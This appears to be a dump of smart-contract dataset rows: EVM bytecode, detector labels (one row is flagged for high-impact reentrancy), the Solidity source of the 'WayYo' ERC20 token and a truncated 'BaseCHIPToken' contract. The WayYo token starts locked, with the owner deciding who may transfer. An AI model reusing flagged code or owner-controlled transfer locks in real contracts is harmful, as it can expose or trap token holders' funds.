000604082019050612d886000830185612b49565b612d956020830184612b49565b9392505050565b6000819050919050565b6000819050919050565b6000612dcb612dc6612dc184612d9c565b612da6565b6127a5565b9050919050565b612ddb81612db0565b82525050565b600060c082019050612df66000830189612b49565b612e036020830188612851565b612e106040830187612dd2565b612e1d6060830186612dd2565b612e2a6080830185612b49565b612e3760a0830184612851565b979650505050505050565b600081519050612e51816127af565b92915050565b600080600060608486031215612e7057612e6f61273d565b5b6000612e7e86828701612e42565b9350506020612e8f86828701612e42565b9250506040612ea086828701612e42565b9150509250925092565b6000604082019050612ebf6000830185612b49565b612ecc6020830184612851565b9392505050565b600081519050612ee281612ac3565b92915050565b600060208284031215612efe57612efd61273d565b5b6000612f0c84828501612ed3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f71602483612683565b9150612f7c82612f15565b604082019050919050565b60006020820190508181036000830152612fa081612f64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613003602283612683565b915061300e82612fa7565b604082019050919050565b6000602082019050818103600083015261303281612ff6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613095602583612683565b91506130a082613039565b604082019050919050565b600060208201905081810360008301526130c481613088565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613127602383612683565b9150613132826130cb565b604082019050919050565b600060208201905081810360008301526131568161311a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131b9602983612683565b91506131c48261315d565b604082019050919050565b600060208201905081810360008301526131e8816131ac565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613225601983612683565b9150613230826131ef565b602082019050919050565b6000602082019050818103600083015261325481613218565b9050919050565b6000613266826127a5565b9150613271836127a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a6576132a5612c4e565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e7601a83612683565b91506132f2826132b1565b602082019050919050565b60006020820190508181036000830152613316816132da565b9050919050565b6000613328826127a5565b9150613333836127a5565b92508282101561334657613345612c4e565b5b828203905092915050565b600061335c826127a5565b9150613367836127a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a05761339f612c4e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e5826127a5565b91506133f0836127a5565b925082613400576133ff6133ab565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613467602183612683565b91506134728261340b565b604082019050919050565b600060208201905081810360008301526134968161345a565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134f9602a83612683565b91506135048261349d565b604082019050919050565b60006020820190508181036000830152613528816134ec565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356481612767565b82525050565b6000613576838361355b565b60208301905092915050565b6000602082019050919050565b600061359a8261352f565b6135a4818561353a565b93506135af8361354b565b8060005b838110156135e05781516135c7888261356a565b97506135d283613582565b9250506001810190506135b3565b5085935050505092915050565b600060a0820190506136026000830188612851565b61360f6020830187612dd2565b8181036040830152613621818661358f565b90506136306060830185612b49565b61363d6080830184612851565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367d601b83612683565b915061368882613647565b602082019050919050565b600060208201905081810360008301526136ac81613670565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206354cb3e6a21abb5bee44aafb2dbd6a09886ab0c55de7d5eeeef2130b2368f6664736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,918 |
0x5cf6e1285643fb41ab4fac7059b0683cd8526912
|
/**
*Submitted for verification at Etherscan.io on 2020-06-27
*/
pragma solidity 0.6.0;
// ----------------------------------------------------------------------------
// 'WayYo' token contract
//
// Symbol : WayYo
// Name : WayYo
// Total supply: 10 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public view returns (bool can1) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract WayYo is BurnableToken {
string public constant name = "WayYo";
string public constant symbol = "WayYo";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb1461065d578063cf309012146106c3578063d73dd623146106e5578063dd62ed3e1461074b578063f2260031146107c3578063f2fde38b1461081357610142565b806370a082311461048057806378fc3cb3146104d85780638da5cb5b1461053457806395d89b411461057e578063a5bbd67a1461060157610142565b8063313ce5671161010a578063313ce56714610304578063378dc3dc146103225780634120657a1461034057806342966c681461039c5780634edc689d146103ca578063661884631461041a57610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd14610230578063211e28b61461024e57806323b872dd1461027e575b600080fd5b61014f610857565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610890565b604051808215151515815260200191505060405180910390f35b610238610982565b6040518082815260200191505060405180910390f35b61027c6004803603602081101561026457600080fd5b81019080803515159060200190929190505050610988565b005b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fe565b604051808215151515815260200191505060405180910390f35b61030c610cfa565b6040518082815260200191505060405180910390f35b61032a610cff565b6040518082815260200191505060405180910390f35b6103826004803603602081101561035657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0e565b604051808215151515815260200191505060405180910390f35b6103c8600480360360208110156103b257600080fd5b8101908080359060200190929190505050610d2e565b005b610418600480360360408110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ef4565b005b6104666004803603604081101561043057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611002565b604051808215151515815260200191505060405180910390f35b6104c26004803603602081101561049657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611293565b6040518082815260200191505060405180910390f35b61051a600480360360208110156104ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112dc565b604051808215151515815260200191505060405180910390f35b61053c611413565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610586611438565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c65780820151818401526020810190506105ab565b50505050905090810190601f1680156105f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b604051808215151515815260200191505060405180910390f35b6106a96004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611491565b604051808215151515815260200191505060405180910390f35b6106cb611677565b604051808215151515815260200191505060405180910390f35b610731600480360360408110156106fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061168a565b604051808215151515815260200191505060405180910390f35b6107ad6004803603604081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611886565b6040518082815260200191505060405180910390f35b610811600480360360408110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061190d565b005b6108556004803603602081101561082957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1b565b005b6040518060400160405280600581526020017f576179596f00000000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e157600080fd5b80600560006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3957600080fd5b610a42336112dc565b610a4b57600080fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610b1e83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb383600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c098382611b6c90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60036020528060005260406000206000915054906101000a900460ff1681565b60008111610d3b57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610d8757600080fd5b6000339050610dde82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6c90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3682600154611b6c90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa757600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611113576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a7565b6111268382611b6c90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900460ff16156113ad57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561139a57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113a8576000905061140e565b611409565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611408576000905061140e565b5b600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f576179596f00000000000000000000000000000000000000000000000000000081525081565b60046020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114cc57600080fd5b6114d5336112dc565b6114de57600080fd5b61153082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8390919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b600061171b82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119c057600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611aae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115611b7857fe5b818303905092915050565b600080828401905083811015611b9557fe5b809150509291505056fea264697066735822122003195ef197376d535ecd4cbc003735608247671d37154a3744a3bea63e9315d964736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 8,919 |
0x3c74dd969a7bea3b563f21dd27765108d4d5c5cd
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BaseCHIPToken {
using SafeMath for uint256;
// Globals
address public owner;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 internal totalSupply_;
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Mint(address indexed to, uint256 amount);
// Modifiers
modifier onlyOwner() {
require(msg.sender == owner,"Only the owner is allowed to call this.");
_;
}
constructor() public{
owner = msg.sender;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender], "You do not have sufficient balance.");
require(_to != address(0), "You cannot send tokens to 0 address");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(_value <= balances[_from], "You do not have sufficient balance.");
require(_value <= allowed[_from][msg.sender], "You do not have allowance.");
require(_to != address(0), "You cannot send tokens to 0 address");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool){
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who], "Insufficient balance of tokens");
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender], "Insufficient allowance to burn tokens.");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Owner cannot be 0 address.");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
